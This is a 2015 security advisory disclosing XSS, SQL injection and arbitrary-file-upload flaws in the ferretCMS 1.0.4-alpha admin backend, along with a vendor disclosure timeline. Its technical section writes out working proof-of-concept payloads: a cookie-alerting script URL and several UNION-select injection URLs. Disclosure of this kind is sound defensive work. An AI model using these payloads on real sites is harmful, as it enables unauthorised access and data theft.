Advisory: Advisory ID: SROEADV-2015-10 Author: Steffen Rsemann Affected Software: ferretCMS v. 1.0.4-alpha Vendor URL: https://github.com/JRogaishio/ferretCMS Vendor Status: vendor will patch eventually CVE-ID: - Tested on: - Firefox 35, Iceweasel 31 - Mac OS X 10.10, Kali Linux 1.0.9a ========================== Vulnerability Description: ========================== The content management system ferretCMS v.1.0.4, which is currently in alpha development stage, suffers from multiple stored/reflecting XSS- and SQLi-vulnerabilities in its administrative backend. Moreover, there exists the possibility to upload arbitrary files via the administrative backend, which can be executed by unauthenticated users, too. ================== Technical Details: ================== A reflecting XSS vulnerability can be found in the parameter "action" used in the file admin.php: http:// {TARGET}/admin.php?type=search&action=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E Stored XSS vulnerabilities resides in the logging functionality of ferretCMS. On the administrative backend, the administrator has the opportunity to watch events stored in a log. An event, that gets logged, are login-attempts to the administrative backend, where the used username is displayed, too. An attacker can abuse this, by trying to log in with JavaScript-code instead of a username. That code gets executed in the logs. Login-form is located here: http://{TARGET}/admin.php XSS gets executed here: http://{TARGET}/admin.php?type=log&action=read Another stored XSS vulnerability can be found in the pagetitle of a new blog entry that is created by the administrator: vulnerable form: http://{TARGET}/admin.php?type=page&action=insert&p= XSS gets executed here: http://{TARGET}/admin.php?type=page&action=read The following URLs are prone to SQL injection attacks: http:// {TARGET}/admin.php?type=site&action=update&p=1+and+1=2+union+select+1,version%28%29,3,4+--+ http:// {TARGET}/admin.php?type=customkey&action=update&p=1+and+1=2+union+select+1,version%28%29,database%28%29,4+--+ http:// {TARGET}/admin.php?type=account&action=update&p=1+and+1=2+union+select+1,database%28%29,3,4,5,version%28%29,7,8,9+--+ http:// {TARGET}/admin.php?type=plugin&action=update&p=1+and+1=2+union+select+1,database%28%29,version%28%29,4+--+ http:// {TARGET}/admin.php?type=template&action=update&p=1+and+1=2+union+select+1,version%28%29,database%28%29,user%28%29,5+--+ http:// {TARGET}/admin.php?type=permissiongroup&action=update&p=1+and+1=2+union+select+1,version%28%29,3,4+--+ http:// {TARGET}/admin.php?type=page&action=update&p=1+and+substring%28version%28%29,1,1%29=5+--+ Last but not least there is a file-upload functionality in the administrative backend of ferretCMS. The administrator can upload arbitrary files here via the following URL: http://localhost/ferretCMS/admin.php?type=uploader&action=upload Any unauthenticated user can execute/read those files that had been uploaded by visiting the following URL: http://{TARGET}/custom/uploads/{NAME_OF_THE_UPLOADED_FILE} ========= Solution: ========= Vendor responded, issues will be patched eventually. ==================== Disclosure Timeline: ==================== 15/16-Jan-2015 ? found the vulnerability 16-Jan-2015 - informed the developers (see [3]) 16-Jan-2015 ? release date of this security advisory [without technical details] 21-Jan-2015 - attempt #2 to inform the developer via mail 22-Jan-2015 - vendor responded, technical details posted to Github (see [3]) 22-Jan-2015 - release date of this security advisory 22-Jan-2015 - send to lists ======== Credits: ======== Vulnerability found and advisory written by Steffen Rsemann. =========== References: =========== [1] https://github.com/JRogaishio/ferretCMS [2] http://sroesemann.blogspot.de/2015/01/sroeadv-2015-10.html [3] https://github.com/JRogaishio/ferretCMS/issues/63 [4] https://github.com/sroesemann/ferretCMS